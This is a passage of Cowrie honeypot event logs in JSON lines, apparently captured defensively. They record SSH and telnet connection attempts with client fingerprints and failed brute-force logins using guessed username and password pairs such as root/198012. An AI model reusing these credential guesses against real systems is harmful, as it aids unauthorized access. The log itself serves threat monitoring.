01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:18:28.113477Z","src_ip":"38.242.143.220","session":"7fd1e1d461a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eoswallet","password":"eos123","message":"login attempt [eoswallet/eos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:18:28.443203Z","src_ip":"38.242.143.220","session":"7fd1e1d461a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:18:29.578061Z","src_ip":"38.242.143.220","session":"7fd1e1d461a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":61417,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f1a33842e6","protocol":"ssh","message":"New connection: 87.156.182.84:61417 (10.17.0.5:22) [session: 12f1a33842e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:10.258061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:10.262517Z","src_ip":"87.156.182.84","session":"12f1a33842e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:10.387535Z","src_ip":"87.156.182.84","session":"12f1a33842e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"azerty","message":"login attempt [debian/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:13.853881Z","src_ip":"87.156.182.84","session":"12f1a33842e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:14.965508Z","src_ip":"87.156.182.84","session":"12f1a33842e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":44018,"dst_ip":"159.203.135.109","dst_port":22,"session":"90902827fd76","protocol":"ssh","message":"New connection: 99.252.20.159:44018 (159.203.135.109:22) [session: 90902827fd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:42.242036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:42.248446Z","src_ip":"99.252.20.159","session":"90902827fd76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:42.282789Z","src_ip":"99.252.20.159","session":"90902827fd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ndjamena_crypto","password":"ndjamena123","message":"login attempt [ndjamena_crypto/ndjamena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:42.367707Z","src_ip":"99.252.20.159","session":"90902827fd76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:19:43.408418Z","src_ip":"99.252.20.159","session":"90902827fd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":53552,"dst_ip":"10.17.0.5","dst_port":22,"session":"a84baa1db038","protocol":"ssh","message":"New connection: 154.16.115.34:53552 (10.17.0.5:22) [session: a84baa1db038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.648790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.652246Z","src_ip":"154.16.115.34","session":"a84baa1db038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.680470Z","src_ip":"154.16.115.34","session":"a84baa1db038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic789","message":"login attempt [root/atomic789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.757601Z","src_ip":"154.16.115.34","session":"a84baa1db038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53404,"dst_ip":"10.17.0.5","dst_port":22,"session":"c175fa8b9a21","protocol":"ssh","message":"New connection: 143.20.185.207:53404 (10.17.0.5:22) [session: c175fa8b9a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.837194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.841056Z","src_ip":"143.20.185.207","session":"c175fa8b9a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:41.954235Z","src_ip":"143.20.185.207","session":"c175fa8b9a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS8VCPU16GBAMD","message":"login attempt [root/undefinedVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:42.322881Z","src_ip":"143.20.185.207","session":"c175fa8b9a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:42.783851Z","src_ip":"154.16.115.34","session":"a84baa1db038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:20:43.438628Z","src_ip":"143.20.185.207","session":"c175fa8b9a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":45886,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd7e5ffc883c","protocol":"ssh","message":"New connection: 162.144.88.94:45886 (159.203.135.109:22) [session: dd7e5ffc883c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:20.135079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:20.138772Z","src_ip":"162.144.88.94","session":"dd7e5ffc883c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:20.220118Z","src_ip":"162.144.88.94","session":"dd7e5ffc883c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zil","password":"zil789","message":"login attempt [zil/zil789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:20.466486Z","src_ip":"162.144.88.94","session":"dd7e5ffc883c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:22.407260Z","src_ip":"162.144.88.94","session":"dd7e5ffc883c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":59418,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72bd1469f60","protocol":"telnet","message":"New connection: 137.184.5.188:59418 (159.203.135.109:23) [session: f72bd1469f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:29.082038Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"511531b749c8","protocol":"telnet","message":"New connection: 50.62.181.92:46434 (10.17.0.5:23) [session: 511531b749c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:47.180341Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33968,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a77b3636cb0","protocol":"telnet","message":"New connection: 137.184.5.188:33968 (159.203.135.109:23) [session: 0a77b3636cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:21:50.333975Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13068,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a69eed9064","protocol":"ssh","message":"New connection: 194.59.206.2:13068 (159.203.135.109:22) [session: 28a69eed9064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.109451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.113254Z","src_ip":"194.59.206.2","session":"28a69eed9064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.198035Z","src_ip":"194.59.206.2","session":"28a69eed9064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.286889Z","src_ip":"194.59.206.2","session":"28a69eed9064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37470,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d35978ac60","protocol":"ssh","message":"New connection: 103.82.132.16:37470 (10.17.0.5:22) [session: 90d35978ac60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.373546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.377010Z","src_ip":"103.82.132.16","session":"90d35978ac60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:00.629834Z","src_ip":"103.82.132.16","session":"90d35978ac60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198012","message":"login attempt [root/198012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:01.383708Z","src_ip":"103.82.132.16","session":"90d35978ac60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:02.637535Z","src_ip":"103.82.132.16","session":"90d35978ac60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":59078,"dst_ip":"10.17.0.5","dst_port":22,"session":"47d400e7d0b6","protocol":"ssh","message":"New connection: 162.144.64.128:59078 (10.17.0.5:22) [session: 47d400e7d0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:13.821168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:22:13.824931Z","src_ip":"162.144.64.128","session":"47d400e7d0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 